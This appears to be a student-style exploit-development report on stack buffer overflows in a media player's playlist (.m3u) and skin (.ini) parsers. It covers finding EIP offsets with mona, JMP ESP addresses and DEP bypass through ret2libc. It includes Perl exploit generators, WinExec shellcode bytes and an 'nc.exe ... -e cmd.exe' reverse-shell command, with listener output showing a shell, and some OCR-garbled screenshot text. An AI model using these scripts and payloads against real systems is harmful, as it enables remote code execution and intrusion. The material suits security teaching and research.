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EXPLOIT DEVELOPMENT Exploiting Vulnerable Media Player



ABSTRACT

This paper aims to investigate the extent of vulnerabilities in the 'Vulnerable Media Player' application, and evaluate how these vulnerabilities can be exploited. Exploitation of the application will focus on buffer overflow-type attacks which occur when a larger than expected dataset exceeds the bounds of a memory buffer, overwriting other stack frames.

A four-part methodology was followed to assess the exploitability of each area of the application; proving the flaw, investigating the flaw, demonstrating a proof-of-concept (such as running calculator), and finally demonstrating an advanced exploit (such as a reverse shell).

Within the application, two buffers were found to be vulnerable to buffer overflow attacks; skins and playlists, both of which were exploitable with proof-of-concept and advanced exploits. Methods of potentially advancing the exploits so that they may evade intrusion detection systems (IDS) were also discussed.

1	Introduc	ction	4
1	1 App	olication Model	4
	1.1.1	Process Frame	4
	1.1.2	The Stack	4
1	2 Buf	fer Overflow Exploits and Mitigations	6
	1.2.1	Data Execution Prevention	6
	1.2.2	Bypassing Data Execution Prevention	6
	1.2.2.2	1 Return Oriented Program (ROP) Chaining	7
	1.2.2.2	2 Return to C Library (RET2LIBC)	7
2	Procedu	re	7
2	2.1 Ove	erview of Procedure	7
2	2.2 Ver	ification and Identification of the vulnerability	7
	2.2.1	Playlist (m3u)	8
	2.2.2	Skins (ini)	10
2	2.3 Exp	loitation of Playlist Files	11
	2.3.1	DEP OFF	11
	2.3.1.2	1 Proof-of-Concept	11
	2.3.1.2	2 Advanced Exploit	12
	2.3.1.3	3 DEP Off Summary	13
	2.3.2	DEP ON	13
	2.3.2.2	1 Proof-of-Concept - ret2libc	14
	2.3.2.2	2 Proof-of-Concept - ROP Chains	16
	2.3.2.3	3 Advanced Exploit	19
2	2.4 Exp	loitation of Skins	20
3	Discussi	on	22
3	8.1 Eva	ding Intrusion Detection Systems	22
	3.1.1	Anomaly Based	22
	3.1.2	Signature Based	22
3	8.2 Issu	ies Encountered	23
3	8.3 Fut	ure Work	23
4	Conclusi	ion	24
5	Referen	ces	25
6	Appendi	x A – Payload Files	26

1 INTRODUCTION

What is a buffer overflow?

A buffer overflow is a common vulnerability that can be leveraged by malicious actors to perform unintended actions. Such malicious actions may include denial of service - causing the application to crash- or, malicious code execution - which can be used to do pretty much anything, as long as it fits within the available space.

To better understand the construction and execution of buffer overflow attacks, the underlying Windows application memory architecture theory must first be covered. Specifically, the way in which application data is stored, and how instructions are fetched.

1.1 APPLICATION MODEL

Every windows application will run in a process frame. Contained within these process frames are three major memory segments:

- Stack Segment Used to pass arguments and/or data to functions, also holds variables.
- Data Segment Stores variables and dynamic buffers.
- Code Segment Used to track instructions that the processor executes.

1.1.1 Process Frame

In a 32-bit Windows environment, when an application is started, a process is created and assigned a frame of memory. Using virtual memory address translation, the physical addresses utilized are mapped to virtual addresses. In a 32-bit application these addresses range from 0x00000000 to 0xFFFFFFF. Of these virtual addresses, 0x00000000 to 0x7FFFFFFF is assigned to user-land, and 0x80000000 to 0xFFFFFFFF is assigned to kernel-land. Kernel-land memory is accessible only by the operating system, applications reside in userland.

1.1.2 The Stack

The stack is a section of memory allocated to a process, which is effectively used as scratch space. Upon entering a function or subroutine, a stack frame is created. A stack frame is used to pass parameters to a subroutine, and also stores the parameters of the parent procedure. When the function/subroutine returns, the stack frame is freed.

Stack frames are always added in a *last in, first out* order; the most recently added frame is always the next frame freed. This makes keeping track of the stack really simple; freeing a frame involves nothing more than adjusting a single pointer. Due to its simplicity, the stack is fast but size-limited. The stack pointer is tracked in the ESP register as can be seen in Table 1 below.

Register	Туре	Description
EAX	Accumulator	Used for storing return values and basic calculations

Table 1 – Register Typ	oes (SkullSecurity.org, 2012)
------------------------	-------------------------------

EBX	Base	No set purpose, often used to store data
ECX	Counter	Used for tracking iterations. Counts downwards.
EDX	Data	Extension of EAX, used for complex calculations (stores additional data which facilitates complex calculations).
ESP	Stack Pointer	Pointer to top of stack
EBP	Base Pointer	Pointer to function entry point (value of stack pointer before a function call)
ESI	Source Index	Used by string operations as the source
EDI	Destination Index	Used by string operations as the destination
EIP	Instruction Pointer	Used for tracking currently executing command, controls flow of program

The stack grows from a high address to a low address; the stack pointer initially points to the top of the stack, as values are pushed onto the stack (stored), the stack pointer decrements. When a pop occurs, the value pointed to by the stack pointer is retrieved, and the stack pointer increments. The retrieved and stored values are the values of CPU registers. A representation of the stack can be seen within Figure 1 below.



Figure 1 - Representation of Stack in Process Memory

1.2 BUFFER OVERFLOW EXPLOITS AND MITIGATIONS How does a buffer overflow occur?

A buffer overflow occurs when a larger than expected dataset -such as a string or array- exceeds the bounds of a memory buffer, overwriting other stack frames. For example, an input reading function may have a buffer of 220 bytes; given a maliciously crafted input of 224 A's, an address for EIP and some shellcode, an overflow would occur and the overwritten EIP (on return) could be leveraged to run shellcode. The overflow itself occurs after 220 bytes, however to overwrite the EIP the EBP must also be overwritten, which is where the additional 4 bytes come from. An example illustrating this process can be seen in Figure 2 below.



Figure 2 - Example of Buffer Overflow

1.2.1 Data Execution Prevention

In response to buffer overflow attacks, Microsoft added a feature called Data Execution Prevention (or DEP). Data Execution Prevention disallows the execution of code on the stack - whether malicious or not. There are several configurations of DEP available on Windows XP 32 bit, which are as follows (Microsoft, 2017):

OptIn

The default configuration of DEP. By default, only Windows system binaries are protected.

OptOut

Despite what the name may suggest, OptOut offers better protection than OptIn. By default, DEP is enabled for all processes, although DEP can be disabled for specific programs through the Control Panel.

AlwaysOn

No choice, all processes always run with DEP applied.

AlwaysOff

No choice, all processes always run with DEP disabled.

1.2.2 Bypassing Data Execution Prevention

Data Execution Prevention nullified the effectiveness of many existing attacks. However, by bypassing Data Execution Prevention or by turning it off, with slight modifications buffer overflow attacks can be used again.

1.2.2.1 Return Oriented Program (ROP) Chaining

In Return Oriented Program Chaining, fragments of code called 'ROP Gadgets' that perform an action before returning are *chained* together as a list of jump locations to perform a given task. ROP Chaining effectively creates new routines out of existing code. Sometimes one of the used gadgets may perform unintended actions before hitting a return, if no alternative gadgets are available then sometimes these unintended actions will need to be corrected before shellcode can be run.

The process of creating a ROP Chain can be compared to solving a rubik's cube (Corelan.be, 2010), in that as one correction is made, something else may now be out of place.

ROP Chains are usually used to disable DEP entirely, but they can also be used to copy shellcode to an area where DEP is already disabled, or run just the shellcode with dep disabled.

1.2.2.2 Return to C Library (RET2LIBC)

Return to C Library works somewhat similarly to a ROP Chain Exploit, except instead of creating a chain of any code, it specifically calls addresses within the system C library. Commonly the WinExec function is used which takes a command as one of the arguments and an exit method as the other. WinExec can be used to launch anything from calculator to a reverse shell. As the C Library exists within executable space and no shellcode is attempting to run (only arguments being passed), RET2LIBC can effectively bypass DEP.

2 PROCEDURE

2.1 OVERVIEW OF PROCEDURE

A four-part methodology was followed throughout the application investigation to assess the exploitability of each area. This involved; proving the flaw, investigating the flaw, demonstrating a proof-of-concept (such as running calculator), and finally demonstrating an advanced exploit (such as a reverse shell) with both DEP off and DEP on.

By attaching the application to debugging software such as Ollydbg (Yuschuk, 2014) or Immunity Debugger (*immunityinc*, 2017), the application process and memory can be viewed. By looking at the underlying processes and the effect various inputs have on them, it is possible to craft a buffer overflow exploit specifically for this application.

As two input fields were discovered (Playlist and Skins), both were tested and found to be exploitable with buffer overflow. However, the 'Playlist' vulnerability was the main focus of this investigation and thus is the main focus of this paper.

2.2 VERIFICATION AND IDENTIFICATION OF THE VULNERABILITY

As previously discussed, the first stage in exploit development is proving a flaw exists. In the case of Vulnerable Media Player two areas of user defined file inputs were discovered; Playlists - which accepts *.m3u* files, and skins - which accepts *.ini* files that contain an application-specific header.

2.2.1 Playlist (m3u)

Using a Perl script, several m3u files were generated that contained an increasing number of characters. Eventually the playlist path buffer overflowed, and EIP was overwritten. The script and its generated file causing the overwrite of EIP, viewed in Ollydbg, can be seen in Figure 3 below.

Management	
🔆 OllyDbg - 1503321.exe - [CPU - main thread]	
C File View Debug Plugins Options Window Help	X
Cook in: Posktop Extop	
CDocuments and Settings/Administrator/Desktop/DisToEPE.pl - Notepad++ File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ? DeToEIP.pl Z 1 my Sfile= "distanceToEIP.m3u"; 1 my Sfile= "distanceToEIP.m3u"; 4 open (SFILE, ">Sfile"); 5 open (SFILE, ">Sfile"); 6 close (SFILE); 7 # Save & close file 8 n: 3 Colse (SFILE); # Save & close file 1 mode for the file name 1 for the file name 1 mode for the file name 1 mode for the file name 2 mode for the file name 2 mode for the file name 3 mode for the file name 4 open (SFILE Symbol for the file nam	Pedgetsers.(FPU) < < PEGC 00000000 < ECX 00000000 ECX 000000000 ECX 0000000000 ECX 000000000 ECX 000000000000000000000000000000000000
1004640040 0004000 001400000 0014000000 0014000000 00140000000 00140000000000 00140000000000000000000000000000000000	41 41 41 41 41 41 41 41 41
l'a secon remeas remeas areas af a constraine a constraine a bas a subbar se base and base.	, j j duccu ,

Figure 3 - Overwrite Playlist EIP

If the distance to EIP did not exist within the 2500 A (or x41 in hex) character range, the multiplier would have been gradually increased e.g. 2750, 3000, 3500, 4000, et cetera. While the 2500 A's had caused a buffer overflow, it was unlikely that 2500 was the size of the buffer.

Using *Mona.py* (Corelan Team, 2011), an addon for Immunity Debugger, the distance to EIP can be found relatively easily. The "pattern_create" command in mona creates alphanumeric permutations up to a given length (2500 in this case), which can be used to 'count' the distance to EIP. In Figure 4 below, the command used and its output can be seen.

L Log d	ata 📃	×
Address	Nessage	
0BHDF00L 0BADF00L 0BADF00L 0BADF00L 0BADF00L 0BADF00L 0BADF00L 0BADF00L 0BADF00L 0BADF00L 0BADF00L	<pre>(+1 This nona.py action took 090:00 (+3 Command used:) nona pattern_coreare sen of 2500 (14 Command used:) nona pattern_coreare sen of 2500 (14 Preparing output file 'pattern.txt' (14 Preparing output file 'pattern.txt' (15 Preparing output file pattern.txt) (15 Preparing output file pattern.txt) (15 Preparing output file pattern.txt) (15 Pretar to cope pattern.txt ad copy the pattern from the file (15 Pretar) to cope pattern.txt ad copy the pattern from the file (15 Pretar) Nora.py action took 0:00:00 the pattern from the file</pre>	
lmona j	pattern_create 2500	
[04:01	:40] Thread 00000B0 terminated, exit code 0	

Figure 4 - pattern_create

The section of the perl script responsible for producing the 2500 A's is replaced with the output of pattern_create. The script is then re-run to create another m3u file which can be used for the discussed purpose.

Running the application again, this time with the 2500-character pattern playlist file, the crash occurred on '4Ah5' (EIP reads this in Immunity). On its own the frame doesn't appear to be much

use, however using another Mona command - "pattern_offset", the exact distance to EIP can be found. The distance was found to be 224 Bytes as can be seen in Figure 5 below.

A Immunity Debugger - 1503321.exe	
He we used phages immus opports whow Heb 305	
G\Documents and Settings\Administrator\Desktop\m3uPattern2500.pl - Notepad++	
File Edit Search View Encoding Language Settings Tools Marco Run Plugins Window ? X	, ,
	0010011010011
🗄 m3uPattem2500 pl 🔀 🔚 overflow/2500 bd 🗶 🗎 calc bt 🗵 🛗 SkinCrashGen pl 🗵 🚆 calc bt 🗵 🛗 SkinCrashGen pl 🗵 🗮 calc cden pl 🗵 🚔 calc cden pl 🗵	9H)0H)IH)ZH):
1 my Sfile= "m3u2500mona.m3u"; f File name EID 00127400 ASCII "AL Supported files" EID 00127400 ASCII "AL Supported files"	
4 C 0 ES 0028 32bit 0(FFFFFFF) 3 # Pattern P 1 CS 0018 32bit 0(FFFFFFFF)	
4 my Spattern = "Aa0AalAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac b 2 0008 2014 (HIPPITH)	
6 open(SFILE,">Sfile"); † Open file name as write (create it if no exist)	
7 print SFLE Spattern; f Write pattern to file FL GOOZIACI (NU, NE, FL, NS, FE, G, G)	
g close(srliz); F save & close file ST ends	
ST3 empty ST4 empty	
S15 anD59	
EST 8122 Cond 8.0.9.1 Ext. 0 1 1 4 9 9 9 0 (LT)	
L Cog Gata Address Hessage	
GBGCPG00[+1 Convand usid: SBGCPG00[+1] convand usid: SBGCPG00[+1] convand usid:	
severee Looking for the in particular of sedeed bytes SMBFFEED Looking for the in particular of SMBHE partern at position 224 SMBFFEED Looking for the in partern of SMBHE partern at position 224	
BedCPBQ Looking for Sh44 in pattern of 500000 bytes BedCPBQD - Pattern Sh44 in pattern of found in cyclic pattern (uppercase)	
and Depando Lock ing for Shak in pattern of Shadab bytes GRADFADD - Pattern Shak and found in cyclic pattern (lowercase)	
BERGFORD (s) This wona, by action took 0:00:00,10000	
Hoderses Hex dunp RSCII As 00 40 00 00	-
806456625 65 65 65 65 26 70 65 65 million 00121000 66413768 h7Mh 00121000 66410000000000000000000000000000000	
	-
9132-P089 H0401080 9530 10530 10540	_
Imona natiero, offeet 3568/13/ 2500	

Figure 5 - Distance to Playlist EIP

By looking for irregularities in the pattern, the available shellcode space can also be found. At address 00121DE0 a null character was found which cannot be worked around; shellcode must be placed between 00121CC8 (where control over EIP is gained) and 00121DE0.

Once again, there is a command that can help determine this within Mona.

The offset command takes two addresses (a1, a2) and states the number of bytes between them. Offset shows that the available shellcode space after the buffer is 280 bytes -as can be seen in Figure 6 below.

L Log data				
Oddress Message				
0B0DE00D - Pattern 5604	not found in cuclic nattern (ur	nercasel		
ØBADFØØD Looking for 4Ah5	in pattern of 500000 bytes	peroduc,		
0BADF00D Looking for 5hA4	in pattern of 500000 bytes			
08HDF00D - Pattern 5hH4 (not found in cyclic pattern llo	wercase)		
ØBADFØØD [+] This mona.pv	action took 0:00:00.190000			
ØBADFØØD [+] Command used	•			
0BADF00D tmona offset -a1	00121CC8 -a2 00121DE0	00001101		
BADF00D Jmp offset :	121008 (0 0200121000 : 280 (020	bbbbblis) Dytes		
ØBADFØØD				
0BADF00D [+] This mona.py	action took 0:00:00			
Address Hex dump	ASCII		00121000	41347141 Aq4A
00468000 00 00 00 00 00	00 00 00		00121DD4	71413571 g5Ag
00468008 00 00 00 00 00	00 00		00121008	41387141 0a80
00468010 52 41 57 00 41	62 6F 75 KHW.HDOU		00121DE0	72413971 g9Ar
00468020 65 64 69 61 20	70 6C 61 edia pla		00121DE4	37694100 .Ai7
0046A028 79 65 72 20 25	64 00 00 yer %d		00121DE8	41386941 H18H 60419969 (90)
00468030 68 74 74 70 38	2F 2F 31 http://1		00121DF0	316A4130 0Aj1
0046H036 32 37 2E 30 2E 00460040 00 00 00 00 40	S0 2E S1 27.0.0.1		00121DF4	41326A41 Aj2A
	stack of th	Priv RW, Guar RW		
0143E000 00001000	ctook of th	Prio 222 Guai RW		
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Imona offect-a1 00121	CC8 ->2 00121DE0			
anona onset al ouizi				

Figure 6 - Calculate Available Shellcode Space (Playlist)

2.2.2 Skins (ini)

Unlike the Playlist files, the player skins have a very specific format that must be followed. Through trial and error, it was discovered that skins only accept files with the Cool Player header and must follow the standard *.ini* file format. A valid skin file looks like this:

[CoolPlayer Skin]

Key=Value

Keeping in mind the format required, a suitable buffer overflow test script was devised. By taking into account the header and key value pair requirement, skins were also proven to be vulnerable to buffer overflow attacks. The script used to generate the appropriate ini file, as well as find the distance to EIP (484) can be seen in Figure 7 below.

<pre>my \$file="skinDistToEip.;</pre>					004200
	ini";	# File name			EDI 0011E2
my \$header = "[CoolPlaye: my \$junk = "AaOAa1Aa2Aa3	r Skin]\nPlaylistSkin=	=";# File Header # 2500 pattern fro: Ab1Ab2Ab3Ab4Ab5Ab6Ab7.	n earlier Ab8Ab9Ac0Ac1A	c2Ac3Ac4Ac	C 0 ES 00 P 1 CS 00 A 1 SS 00 Z 0 DS 00 S 0 FS 00 T 0 GS 00 D 0 LastE
<pre>open(\$FILE, ">\$file");</pre>		# Open file as wri	te		EFL 000102
print \$FILE \$header.\$jun	k;	# write header, pa	ttern to file		ST1 empty ST2 empty
<pre>close(\$FILE);</pre>		# close file			ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty
				Þ	FST 0000 FCW 027F
gth : 2,829 lines : 10 Ln	:1 Col:24 Sel:0 0	Windows (CR LF)	UTF-8	INS //	
Log data					
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Creating and term of first [1413] Creating and the constraint of first [1413] Creating and the constraint of the constraint o	11 2500 or 500(10 optres) or 500(10 optres) or 50000 bytes or 500000 bytes or 50000 bytes or 50000 bytes or 50000 bytes	position 484		● 00118E68 337 00118E68 4134 00118E684 4134 00118E684 4134 00118E684 4133 00118E604 4133 00118E605 4133 00118E605 3572 ● 00118E605 3572	4132 22AG3 7141 AG4A 3871 G5Ag 4136 64G7 7141 4G8A 7141 4G8A 7141 4G8A 7141 4G8A 7141 AG8A 7141 AG8A 7141 AG8A 7241 ArSA 3372 r38r 4134 4Ar5
DF000 Thronin pattern. Giffser 7 [143] DF000 State of and due pattern DF000	11 2500 00 bytes or 50000 bytes of 50000 bytes of 50000 bytes of 50000 bytes of 50000 bytes of 50000 bytes of 50000 bytes or 50000 byt	Position 484		● 00118E90 9071 ● 00118E90 4134 ● 00118E90 4134 ● 00118E90 7741 ● 00118E90 7741 ● 00118E90 7741 ● 00118E90 7741 ● 00118E90 7241 ● 00118E90 7241 ● 00118E90 7241 ● 00118E90 7241	4132 2844 7141 Ag44 8571 4844 4134 6844 4134 6844 4130 6841 7241 8828 73724 984 73724 984 73724 984 73724 984 73724 984 7372
Construction of the second secon	1,2500 00 bytes	Position 484		 00118560 00118570 0118580 0118580	4192 2863 77141 8648 77141 8658 77141 8658 77141 8658 77141 8658 77141 8658 77141 8658 77141 8658 77141 8658 77141 8658 77141 8658 7714 7714 7714 7714 7714 7714 7714 771
Development pattern, addis and pattern development pattern development develo	1,2500 00 bytes (),2500 00 bytes of 50000 bytes of 50000 bytes of 50000 bytes of 50000 bytes (),000 00	Position 484		OB118E8C 377 OD118E8C 4134 OD118E8C 4134 OD118E8C 714 OD118E8C 774 OD118E8C 774	4152 2002 7141 0044 3673 6040 3673 6040 3673 6040 3571 0090 3571 0090 71200 7200 7200 7200 7200 7200 7200 72

Figure 7 Distance to Skin EIP

When looking for unexpected characters, to work out the space available for shellcode, none could be seen within the pattern. In order to ease the search, the 'A multiplication 'method was reused; with a significantly larger character count of 32,000 - as now looking for the end, not the beginning.

While it is possible a character was missed, it appears as though skins has 31, 512 bytes of available space. For sense of scale, a zipped version of the original Super Mario Bros (1985) is 31,515 bytes. The script and command used to determine the available space can be seen in Figure 8 below.

				i di 👔 🛛 🛪 🖓 🖓 🖓 🖓 👘 🖉 🖉 🖉 🖉 🖉 🖉 🖉	
	Super Mario Bro	os. (Japan, USA).zip Properties	•	nunity Debugger - 1503321.exe	
Deale				ocuments and Settings\Administrator\Desktop\SkinDistToEnd.pl - Notepad++	
Basic	Pe	ermissions Open W	th	t Search View Encoding Language Settings Tools Macro Run Plugins Window ? X	ecialist needed
				- C - C - C - C - C - C - C - C - C - C	
ZIP	Name:	Super Mario Bros. (Japan, USA	. zip	alsGen pl 🛛 🖶 testGen pl 🗵 🚍 pattem bit 🗶 🚍 coolplayer ini 🗶 🚍 skinExplot ini 🗷 🚍 SkinDist ToEP pl 🗶 😑 SkinDist ToEPd pl 🖾 💶 🚺	es (FPU) < < < < < < < < < < < < < < < < < < <
	Type:	Zip archive (application/zip)	_	my Sfile="skinDistToEnd.ini"; # File name	1000 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	Size:	31.5 kB (31,515 bytes)		my Sheader = "[CoolPlayer Skin]\nPlaylistSkin=";# File Header	2000 158321,0042000 2000 158321,0042000 1224 R9:11 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	Parent Folder:	/home/andrew/Downloads		wy Sjunk = "A" x 32000; # -Zipped Size of original super mario	14141 2003 32010 0(FFFFFFFF) 2018 32010 0(FFFFFFF) 2019 32010 0(FFFFFFF) 2019 32010 0(FFFFFFF)
	Accessed:	Thu 10 May 2018 01:02:01 BST		<pre>open(%FILE, ">&file");</pre>	4000 32015 7FF00068(FFF) sefter ERRE, SUCCESS (0000000) 318216 (H0,NE,NE,R,H5,FE,GE,S)
	Modified:	Thu 10 May 2018 01:02:01 BST			9 19 59 59 59 59
			_	517 and FST 000	52 3210 ESPU0201 8 Good 8 8 8 9 For 8 9 8 8 9 8 9 (51)
				ength : 355 lines : 10 [.n : 6 Col : 58 Sel : 0] 0 Windows (CR LF) UTF-8 [INS]	F Preo NERR,53 Mask 111111
				ng data	
				15 Fersoor	▲
			100 5 1 01	New C+1 convided used	
			(31.5 KB)	000 Jup offset : 0000 000 (+) This mena.gu action took 0:00:00	
				ss Hex dwap ASCII	
				and 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	
				a offset -a1 0011BEA4 -a2 001239BC	

Figure 8 - Calculate Available Shellcode Space (skins)

As the verification and identification stage of buffer overflow exploit development is very similar across exploits, it shall only be covered once. However, other sections may reference back to describe how certain information was deduced.

2.3 EXPLOITATION OF PLAYLIST FILES

2.3.1 DEP OFF

2.3.1.1 Proof-of-Concept

With the existence of an exploitable buffer overflow proven, the distance to EIP determined and sufficient room for shellcode discovered, a basic proof-of-concept (POC) exploit was developed. As discussed earlier, the distance to EIP for Playlists was found to be 224, and the total space for shellcode was 280. Knowing these values is essential to the creation of shellcode.

To gain control over EIP, the distance to EIP is simply filled with characters (as padding), in Perl this could be done as follows:

```
my $padding = "\x41" x 224; # Pad with 244 A's
```

After the execution of the return in the function being exploited (playlist loader), ESP will point to the start of the exploit shellcode as it is placed directly after the bytes that overwrite EIP. The return pops 4 bytes, leaving ESP pointing to the shellcode that follows. However, the value of the ESP will be unknown (unless manually read in a debugger), so a return address shouldn't be hardcoded.

Within the application process there are certain fixed addresses that contain commands such as JMP ESP. Utilizing such an address ensures that the payload will reliably begin execution as JMP ESP

will usually jump to the start of the exploit shellcode. With that in mind, the EIP is set to an address that contains a JMP ESP:

my \$eip = pack('V', 0x7C86467B); # EIP / JMP ESP

With the EIP and padding created the only thing left to add is the shellcode. As this is only a proof of concept, the exploit shellcode used just opens calculator. The "calcGen" payload can be seen in *Appendix A - Payload Files*, and its usage can be seen in Figure 9 below.



Figure 9 - Playlist DEP Off Proof-of-concept

2.3.1.2 Advanced Exploit

Between a basic exploit and an advanced exploit, the only real difference needed is the shellcode used. For the Advanced exploit a reverse shell-based on *ZoRLu's win32/xp sp3 (Tr) Add Admin Account Shellcode 127 bytes (Shell-Storm.org, 2010)*, utilizing WinExec was developed. The payload and the reverse shell can be seen in Figure 10.

C)Decuments and Settings Administrator Dackton AdvCon pl. Notonada a	[andrew@localhost ~]\$ nc -lvp 4444
The State Constant of the Sector State Sector Sector State Sector State State Sector State State Sector State State Sector State	Ncat: Version 7.60 (https://nmap.org/ncat)
The Edit Search view Encoding Language Sectings fools Matro Run Plugins Vintoow ?	Neat: Generating a temporary 1024-bit RSA key Usessl-key andssl-cert to U
• • → ₩ ₩ • • • • • • • • • • • • • • •	se a normanent one
🗮 calcGen pl 🔀 🔚 AdvGen pl 🔀	Ncat: SHA-1 fingerprint: 89DE 6B93 09DB 95DF 6869 7723 A74B BDD7 8B2C 0217
1 wr Silan Jaduancad w2011 + File name	Ncat: Listening on :::4444
2 my Simpl = Ny41 + 224;	Ncat: Listening on 0.0.0.0:4444
3 my Seip = pack('V', 0x7C86467B); # EIP	Ncat: Connection from 192.168.1.115.
4 #my \$nops = "\x90" x 3; # NOPS	Ncat: Connection from 192 168 1 115:1204
5	Microsoft Windows XP [Version 5.1.2600]
6	(C) Convright 1985-2001 Microsoft Corp
7 SwinExec .= "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x5d";	
<pre>8 \$winExec .= "\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50";</pre>	C.\Documents and Settings\Administratorsdir
9 SwinExec .= "\xbb\xfa\xca\x81\x7c\xff\xd\xe8\xe0\xff\xff";	dir
10 SWINEXEC .= "\XII\X63\X64\X24\X65\X76\X65\X20\X21\X63\X20";	Volume in drive C has no label
12 SMuCommand = "ng ave 192 168 1 113 4444 -e gmd ave (")	Volume Serial Number is 8448-EDC6
13	
14 my Sshellcode = SwinExec , SMyCommand;	Directory of C.)Decuments and Settings/Administrator
15	Directory of C. (Documents and Sectings (Administrator
<pre>16 open(\$FILE,">\$file"); # Open file name as write (create it if no exist)</pre>	
17 print \$FILE \$junk1.\$eip.\$shellcode; # Write padding, EIP, shellcode to file	
18 close(\$FILE); # Save & close file	
19	10/03/2015 17:2/ <dir> .gem</dir>
20	
21	10/04/2010 14:50 591 .wadmtruststore
23	
	14/09/2009 10:48 <dir> Favorites</dir>
	14/09/2009 16:45 <dir> My Documents</dir>
	30/10/2007 20:42 <dir> Start Menu</dir>
	20/01/2009 00:31 <dir> WINDOWS</dir>
	1 File(s) 591 bytes
	9 Dir(s) 16,178,749,440 bytes free
Perisjength: 732 lines: 23 Ln: 19 Col: 1 Sel: 0 0 Windows (CR LF) UTF-8 INS	C:\Documents and Settings\Administrator>

Figure 10 - Playlist DEP Off Advanced Exploit

Although the application crashed (the icon disappeared from system tray), there was no error message when this exploit was performed. The cause of this was not determined.

2.3.1.3 DEP Off Summary

The playlist loading functionality within the application appears to be vulnerable regardless of where in the application it is invoked; Open, Open URL, and Add were all found to be vulnerable.

With data execution prevention switched off, exploitation of the discovered buffer overflow is rather trivial, as has been demonstrated.

2.3.2 DEP ON

All further exploit development was conducted with "...DEP on for all programs and services except those I select..." as can be seen in Figure 11. DEP can be enabled or disabled by using the run dialog to open *sysdm.cpl*, clicking on advanced, then clicking on settings under performance, and finally entering the *Data Execution Prevention* tab.

System Properties	Performance Options	<u>?×</u>
System Restore Automatic Updates Remote General Computer Name Hardware Advanced	Visual Effects Advanced Data Execution Prevention	
You must be logged on as an Administrator to make most of these changes. Performance Visual effects, processor scheduling, memory usage, and virtual memory Settings	 Data Execution Prevention (DEP) helps protect against damage from viruses and other security threats. How does it work? Turn on DEP for essential Windows programs and services only Turn on DEP for all programs and services except those I select: 	
User Profiles Desktop settings related to your logon Settings Settings	Adobe Reader 9.1	
System startup, system failure, and debugging information Settings		
Environment Variables Error Reporting	Add Remove	
OK Cancel Apply		
	OK Cancel App	ly

Figure 11 - Configure Data Execution Prevention



Figure 12 - Dep Enabled Access Violations

As discussed in <u>section 1.2.1</u>, with DEP enabled, the stack is non-executable. However, there are ways to get around DEP, and some methods even allow DEP to be completely disabled. DEP has been enabled as trying to execute shellcode now causes access violations, as can be seen in Figure 12 above.

2.3.2.1 Proof-of-Concept - ret2libc

One of the possible ways to bypass DEP is to use *RET2LIBC*, as was discussed in <u>section 1.2.2.2</u>. Utilizing WinExec - which was used earlier in the advanced DEP off exploit, commands can be sent as arguments. Usage of *RET2LIBC* WinExec is relatively simple as the function only requires two arguments; an exit function and a command address.

The function itself must be accessed as an address, as must the exit function, the command is also an address - but slightly different. Arwin.exe is a simple "win32 address resolution program" (Hanna, S., [*no date*]), that can be used to get the address of a function within a given library. Figure 13 demonstrates Arwin.exe being used to get the address of WinExec and ExitProcess, within the kernel32 library.



Figure 13 - Using Arwin.exe Win32 Address Resolution

As the commands cannot be executed on the stack they must be stored within the buffer, specifically at the start of the buffer so that they can be more easily addressed with no unintended characters. For instance, WinExec wouldn't be able to execute "AAAcmd.exe &" but could execute "cmd.exe &AAA...". To account for the additional characters in the buffer, the length of the padding is adjusted by the length of the shellcode as follows:

my \$padding = "\x41" x (224 - length(\$shellcode)); # Num bytes of padding to add

As the EIP (WinExec) and ExitProcess addresses are known, exploit development can begin. Looking at the application in Immunity Debugger, a breakpoint is placed at the WinExec address. Next, The initial payload (as can be seen in Figure 14) is opened in the application.



Figure 14 - Initial DEP On Calculator

As it hits the breakpoint, the memory map (available through the 'M' button) is searched for the command string "cmd.exe /c". The search reveals that the command exists in its whole form at 00121BE4 as can be seen in Figure 15.

D Dump	- 0	011	L CO	00	001	L2F	FFF										_ 🗆 ×
00121BE4	63	6D	-64	2E	65	78	65	-20	73	-74	-61	-72	-74	20	63	-61	omd.exe start ca 👗
00121BF4	60	63	20	26	41	41	41	-41	41	-41	41	-41	41	41	41	41	lc &AAAAAAAAAAAAA
00121C04	41	41	41	41	41	41	41	-41	41	41	41	-41	41	41	41	41	88888888888888888888
00121C14	41	41	41	41	41	41	41	-41	41	41	41	41	41	41	41	41	8888888888888888888
00121C24	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	88888888888888888888
00121C34	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	88888888888888888888
00121C44	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	88888888888888888888
ØØ121C54	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	8888888888888888888
00121C64	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	8888888888888888888
00121C74	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	8888888888888888888
00121084	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	88888888888888888888
00121094	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	88888888888888888888
00121004	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	8888888888888888888
00121CB4	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	8888888888888888888
00121004	άñ	28	ŚŔ.	źĉ	ÉÂ	άÂ	śĩ.	źĉ	F4	1Ê	13	йÂ	йÂ	йÂ	йÂ	йÂ	▲田島県 告げ ! 答★川
00121CD4	88	26	12	йй	03	йй	ăâ	àй	30	âă	âă	йй	63	ĕй	64	2Ĕ	68.4 . 0 cmd.
00121CF4	ĂŠ	Ξĕ	25	žă	23	74	ĔĬ.	- 72	74	žă	ĕă.	ĔĬ.	-ĕč	63	žá	26	eve start calc &
00121CE4	41	41	41	4 1	41	41	ăî	41	41	41	41	ăî	41	41	Z ĭ	41	000000000000000000000000000000000000000
00121004	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	
00121014	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	
